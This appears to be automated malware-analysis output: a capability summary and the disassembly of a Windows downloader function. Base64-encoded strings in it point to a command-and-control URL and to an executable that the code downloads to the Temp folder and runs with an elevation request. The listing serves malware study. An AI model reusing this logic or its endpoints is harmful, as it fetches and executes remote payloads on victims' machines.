Function at 0x1400012c0
Capabilities:
Create http request
Create process on windows
Decode data using base64 via winapi
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x12d0]
mov eax, 0x13d0
call fcn.140002bd0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x12c0], rax
xor r15d, r15d
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], r15
lea r9, [rbp + 0xc0]
xor edx, edx
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, str.aHR0cHM6Ly94bWIucHl0aG9uYW55d2hlcmUuY29tL2MyL3JhenNweQ
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x30], r15
lea rcx, str.aHR0cHM6Ly94bWIucHl0aG9uYW55d2hlcmUuY29tL2Rvd25sb2FkL3JhenJ1c2hlbml5ZS5leGU
mov qword [rsp + 0x28], r15
xor edx, edx
mov r8d, 1
mov dword [rsp + 0x40], 0x100
mov byte [rbp + rax + 0xc0], r15b
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
lea r9, [rbp - 0x40]
mov qword [rsp + 0x30], r15
lea rcx, str.QzpcV2luZG93c1xUZW1wXFJhenJ1c2hlbml5ZS5leGU
mov qword [rsp + 0x28], r15
xor edx, edx
mov r8d, 1
mov dword [rsp + 0x40], 0x100
mov byte [rbp + rax + 0x1c0], r15b
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x40]
lea rcx, [0x1400055d4]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
mov edx, 1
mov byte [rbp + rax - 0x40], r15b
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1400016bd
mov qword [rsp + 0x28], r15
lea rdx, [rbp + 0xc0]
xor r9d, r9d
mov dword [rsp + 0x20], 0x800000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x1400016b4
lea r9, [rsp + 0x48]
mov r8d, 2
lea rdx, [rsp + 0x44]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400016ab
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x1400016ab
cmp rax, 3
jae 0x1400016e2
mov byte [rsp + rax + 0x44], r15b
lea r8, [0x1400055d0]
lea rax, [rsp + 0x44]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001473
inc rax
test ecx, ecx
jne 0x140001460
test edx, edx
jne 0x140001662
mov rcx, rbx
mov qword [rsp + 0x13f8], r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.TLD_2
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
jne 0x1400014c2
mov edi, r15d
jmp 0x1400015ed
mov qword [rsp + 0x28], r15
lea rdx, [rbp + 0x1c0]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80800000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x1400014fe
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, r15d
jmp 0x1400015ed
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov qword [rsp + 0x13f0], rsi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x140001553
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, r15d
jmp 0x1400015e5
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x2c0]
mov edi, 1
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400015ca
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x1400015ca
lea r9, [rsp + 0x4c]
mov qword [rsp + 0x20], r15
lea rdx, [rbp + 0x2c0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400015c7
mov eax, dword [rsp + 0x4c]
cmp dword [rsp + 0x40], eax
jne 0x1400015c7
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x2c0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001574
jmp 0x1400015ca
mov edi, r15d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x13f0]
mov r14, qword [rsp + 0x13f8]
test edi, edi
je 0x14000165b
xor eax, eax
mov dword [rsp + 0x50], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x54], ymm0
mov qword [rbp - 0x4c], rax
lea rcx, [rsp + 0x50]
mov dword [rbp - 0x44], eax
lea rax, str.runas
vmovups ymmword [rsp + 0x74], ymm0
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x68], rax
vmovups ymmword [rbp - 0x6c], ymm0
mov qword [rsp + 0x58], r15
mov dword [rbp - 0x80], 1
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14000165b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
jmp 0x1400016bf
lea rax, [rsp + 0x44]
lea r8, [0x1400055bc]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001684
inc rax
test ecx, ecx
jne 0x140001671
test edx, edx
jne 0x1400016ab
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x12c0]
xor rcx, rsp
call fcn.140001ca0
mov rbx, qword [rsp + 0x1400]
add rsp, 0x13d0
pop r15
pop rdi
pop rbp
ret
call fcn.140001dc8
int3